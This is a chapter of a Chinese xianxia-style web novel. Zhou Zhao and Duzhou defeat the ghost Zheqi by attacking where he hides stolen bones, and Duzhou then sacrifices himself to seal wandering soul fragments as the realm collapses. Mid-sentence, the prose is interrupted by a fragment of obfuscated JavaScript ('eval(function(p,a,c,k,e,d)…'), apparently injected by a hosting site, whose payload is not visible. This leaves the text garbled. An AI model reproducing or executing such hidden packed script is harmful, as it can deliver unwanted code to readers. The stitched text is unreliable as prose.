成业手很欠地抓了个魂片在手里撕着玩儿,一动不动地盯了渡舟半晌,突然莫名其妙地笑了,在渡舟身边盘腿坐下,傲慢道:“儿啊,父皇也来给你压阵。” 渡舟骂道:“滚!” 成业还在笑,眼神却悄无声息地变得阴鸷,用只有两个人能听到的声音道:“右臂。” 渡舟吹了个音,转折处犹为尖锐刺耳。 这箫声不对劲…… 从前被关在昭阳殿时,周昭曾教过渡舟用音律解字,她很快反应过来,渡舟是让她攻右臂。 周昭心领神会,后面的剑招只攻右臂,她发现只要一攻折杞的右臂,对方就格外紧张,一紧张就会有破绽。折杞接了几招,后面突然又恢复正常,一点儿破绽都不露。 那边成业又低声道:“左腿。” 又是一道尖利的箫声,周昭立马变换剑招,攻其左腿。对方果然又变得很是紧张左腿,连连躲避,这么来回几招,折杞本就聪明,立刻发现异样。 他碍于成业,本来没打算伤周昭,可生死面前顾不得那么多,下手也比刚才重了许多。 周昭连攻几下不中,折杞游刃有余,一道灵光打在她右臂上,登时血流如注。箫声陡然间催得又急又凶,折杞紧闭双目晃了晃脑袋,再睁眼只觉得有三四个周昭都在围着他转,心口血气翻涌,脉相也跟着七经八脉地乱窜起来,忍不住道:“太难听了!别吹了!” 周昭把剑换到左手,成业眯着眼睛道:“后腰。” 箫声陡转,周昭本来要刺下三路,闻言剑锋一抖直刺后腰,折杞本就头晕脑胀,情急之下连忙转身,岂料他半个身子还没完全转出去,天空突然间撕开一道巨大的裂口,一条赤红色的游龙从撕开的云层里面笔直地俯冲下来。 那龙身上卧着只气定神闲的白猫,尾巴扒拉着龙角,两只尖利的爪子一巴掌拍下去,此时折杞正巧转身,眼前一黑,白猫已经抓着两颗眼珠子乘着龙从他头顶上掠过去。 “我的眼睛!”折杞发出一声凄厉的尖叫,突然出现在他身后的成业周身鬼气暴涨,沉声喝道:“兔崽子!威胁到你祖宗头上来了!” 话音刚落,折杞就被他掐断了气。 这一切发生在电光火石之间,周昭支撑不住地往下跪,紧绷的思绪松了一半的弦,转头吐了口血。 那游龙落地便化作一个翩翩少年,边跑边像老父亲操碎了心一样咋咋呼呼道:“周昭!周昭啊!你可千万不能死!你死了渡舟又要发疯!我真是受够了!!哎,这个人是......” 这游龙和白猫,正是姗姗来迟的烛龙和般般。 烛龙乍一见成业,吓得一个激灵变出原形,成业伸手打了个招呼:“哟,老朋友。” 他的视线落在烛龙那对小角上,两眼放光,哈哈大笑道:“你这对角还没长大呢,我喜欢。” 烛龙立马把角缩回去,般般挡在他前面,扯着喉咙冲成业嘶嘶地低吼。周昭按住般般,连血都没来得及擦,边咳边道:“怎么回事儿?” 成业自顾自地从折杞身上取下来一个什么东西,好像是香包锦囊之类的小玩意儿,上面绣着......针法乱飞的两只鸭子?等那东西一拿下来,折杞的半边胳膊突然间干瘪下去,袖子里空空如也,什么都没有,正是那日被渡舟砍断的。 成业将东西装进怀里放好,虽然他看起来并不在意,动作却格外轻柔。 渡舟匆匆赶来,问道:“怎么样?还撑得住吗?” “痛。” “哪里痛?”渡舟明显紧张起来,将周昭上上下下看了个遍,“我看看。” 周昭一本正经道:“你捏得我手痛。” 渡舟有点尴尬地咳了一声,解释道:“折杞拿了成业的骨骸,鬼的骨骸便是身家性命,他藏得很好,但操之过急。于南桑的灵元不是随便哪只鬼都能消化的,一打起来,那东西位置便会暴露。” 周昭按着胸口喘了口气,只觉得这一口气喘出来浑身上下都扯着疼,却不敢再叫痛,忍着道:“所以你让我攻击的地方,就是折杞藏骨骸的地方?” “嗯。”渡舟轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周昭瞬间慌了神,心跳如鼓,叫道:“渡舟,你做什么?” 渡舟不答,在烛龙背上拍了一掌,低喝道:“走!” 周昭趁机勾住他的手,她使不上劲儿,所以用尽全力也只能勾住那么一点点渡舟,近乎哀求道:“渡舟,不能这样......我不能走。” 渡舟低头看了看,一点点将周昭的手指掰开,冲她笑了笑:“放心,我答应你的事情,一定会做到。” 渡舟说完,不再看她,决然地转身走了。 周昭突然有种不好的预感。 渡舟这一走,可能再也不会回来了。 她拼命挣扎,却动不了一点,呕得眼圈都红了,急火攻心又逼出一口血:“渡舟!你回来!” 渡舟的脚步顿了顿,他回过头,那双浅色的眼眸映着漫天的火光,温柔地注视着她。 周昭的眼泪唰一下就下来了。 原来不是哭不出来,只是没有遇到更痛彻心扉的事。就像东华说的,这世上总有一个人是例外,是强求。 渡舟眸光暗住,转身向前跑了两步,弯下腰双手捧住周昭的脸,滚烫灼热的气息打在她脸上,不同于那晚粗暴的吻,他就只是轻轻在她唇瓣碰了碰,然后用同样温柔的动作,亲了亲周昭流泪的眼角。 “明鸢,上回在行人岭,你要跟我说的那句话是什么?” 众人都不知道周昭说了什么,只看见渡舟笑了笑,般般灵巧地跳上龙背,烛龙驮着她们离开。 九只青鬼不知从哪儿变出来一顶软轿,有条不紊地将其余人通通装进轿子里,就像那时在行人岭那样,不,比那时候还要令人惊奇。 他们抬着轿子,就像踩着透明的台阶,一步步凌空而起。 就在这时,一直愣神的顾绍好像忽然之间想起了什么,从轿子里跳出来。陆轻苹眼疾手快地抓了他一把,惊悚地发现手里的人软绵绵地垂着脑袋,一个穿着僧袍的陌生人从那具身体里剥离出来。 陆轻苹脸色大变,那僧人的身体近乎半透明,落地之后先是有些茫然地看了看四周,然后捂着脑袋痛苦地蹲下去。 他那张脸还是阴阳面,状似疯癫地对着火海念念有词,看起来可怖非常。 旋即,他看到了周昭。 周昭自然认出来那是宁啻,厉声叫道:“下去!下去救他们!” 烛龙却越飞越高,远远的,那僧人喊了句什么,转身钻进火海,再也看不见了。 周昭疼得弓起身子,像一只被大火翻来覆去烤的活虾。她想过这一天,却从没想到这么突然。宁啻为什么会吃掉谢景变成阴阳面已经不重要,重要的是他杀了自己的兄弟,没有人能背负着这样的真相活下去。 而另一边,渡舟看了眼成业,对方回了个“父慈子孝”的眼神。 他似乎低声说了句什么,然后像刚才于南桑那样盘腿坐下,但并非双手结印的姿势,而是抬起昆仲放在唇边,吹了几个音之后,那些原本朝澹溪水里冲的魂片在河面上盘旋了一阵,继而全都朝这个方向飞过来。 “渡舟!不要!”周昭吓得五内俱焚,声音都喊哑了,渡舟却没有抬头。无数魂片穿透渡舟的身体,他的唇边开始溢出丝丝鲜血,昆仲就像一根刚从人身体里抽出来带着血水的骨头。 烛龙似乎不忍,绕着渡舟盘旋了几圈。 周昭只能看到他的背影,那被风吹得四散飞舞的白发,那猎猎作响的玄色衣袍。 原来这就是渡舟的办法,这就是鬼界的办法。 鬼界有一物,名为鬼门关,实为堕神图,可吸纳这世间万千戾气冤魂。 但鬼门关不能到瀛洲幻境,所以需要一个人用自身充当引渡的容器,将魂片封印在堕神图里。 于南桑知道,渡舟知道,可她偏偏现在才知道! 幻境已经塌陷,放眼望去只能看到漫天火光,那屹立了数千年,直冲云霄的祭天台正如史书上记载的那样,分毫不差地轰然倒塌。 不同的是,这一回祭天台上没有那位被百姓挖心的帝王,只有废墟之侧一个旁若无人地吹着夺命曲调的鬼。 一曲招魂,却渡人间。 盛都的夜空黑云滚滚,死去亡魂积攒了上千年的怨念和戾气撕扯着渡舟的身体,盛都俨然变成一座鬼域。成业却没急着走,他站在一块还算完好的地砖上,遥望着皇宫的方向,不知道在想什么。 片刻后,成业撩起衣袍坐在离渡舟几步远的地方,双手结了个复杂的印,呼啸而来的魂片顷刻间兵分两路,一半飞向渡舟,另一半则飞向成业。 …… 多年以后,当周昭再次踏上红鱼镇这片土地,她又想起那个烧红了半边天的夜晚。 海晏河清,却鲜少有人知道,这人间几声繁华曲,其实是两只鬼换来的。